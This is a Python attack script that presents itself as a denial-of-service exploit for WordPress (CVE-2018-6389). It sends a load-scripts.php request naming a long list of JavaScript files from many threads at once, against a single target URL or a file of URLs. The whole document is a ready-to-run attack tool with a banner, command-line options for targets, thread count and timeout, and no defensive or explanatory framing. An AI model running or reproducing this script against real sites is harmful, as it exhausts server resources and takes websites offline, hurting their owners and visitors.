import requests
import argparse
from threading import Thread
import time
from queue import Queue
import os
import sys
import urllib3

def disable_ssl_warnings():
    urllib3.disable_warnings()

def clear_terminal():
    os.system('cls' if os.name == 'nt' else 'clear')

def argu_check():
    if len(sys.argv) > 1:
        pass
    else:
        print('\n%s Please use -h for help.' % (sys.argv[0]))
        exit(0)

def display_message():
    print("""
    #########################################################
    #                                                       #
    #           Wordpress DOS (CVE-2018-6389)               #
    #                Severity: High                         #
    #                                                       #
    #                                                       #
    #########################################################

    [$] Description:

    In WordPress through 4.9.2, unauthenticated attackers can cause a denial of service (resource consumption) by using the large list of registered .js files.
    """)

def exploit(url, timeout):
    exploit_url = url + "/wp-admin/load-scripts.php?c=1&load[]=eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color,schedule,jquery-query,jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch-punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject,moxiejs,plupload,plupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment-repl,json2,underscore,backbone,wp-util,wp-sanitize,wp-backbone,revisions,imgareaselect,mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement,wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-editor,wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,language-chooser,user-suggest,admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent,customize-base,customize-loader,customize-preview,customize-models,customize-views,customize-controls,customize-selective-refresh,customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview-nav-menus,wp-custom-header,accordion,shortcode,media-models,wp-embe,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tags-suggest,post,editor-expand,link,comment,admin-gallery,admin-widgets,media-widgets,media-audio-widget,media-image-widget,media-gallery-widget,media-video-widget,text-widgets,custom-html-widgets,theme,inline-edit-post,inline-edit-tax,plugin-install,updates,farbtastic,iris,wp-color-picker,dashboard,list-revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,custom-header,custom-background,media-gallery,svg-painter"
    headers = {
        "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
        "accept-encoding": "gzip, deflate, br",
        "accept-language": "en-GB,en-US;q=0.9,en;q=0.8",
        "user-agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
    }

    try:
        req = requests.get(exploit_url, headers=headers, timeout=timeout)
        print("Attacking Application Status Code - ", req.status_code)
    except Exception as e:
        print(e)

def main():
    disable_ssl_warnings()
    clear_terminal()
    argu_check()
    display_message()

    parser = argparse.ArgumentParser()
    parser.add_argument('-u', '--url', help='Application Base URL')
    parser.add_argument('-f', '--file', help='File containing  Application Base URLs')
    parser.add_argument('-T', '--thread', help='Number of threads (Default: 20)', default=20, type=int)
    parser.add_argument('-t', '--timeout', help='Maximum number of seconds to wait while requesting a web page (default: 10)', default=10, type=int)

    args = parser.parse_args()

    if not args.url and not args.file:
        print("Please provide either a URL or a file containing URLs.")
        exit(1)

    if args.url:
        urls = [args.url]
    elif args.file:
        with open(args.file, "r") as f:
            urls = [line.strip() for line in f.readlines() if line.strip()]

    Used_Queue = Queue(maxsize=0)

    for url in urls:
        try:
            print(f"[#] Target: {url}")
            for i in range(args.thread):
                exploiting = Thread(target=exploit, args=(url, args.timeout))
                exploiting.start()
        except Exception as e:
            continue

if __name__ == '__main__':
    main()

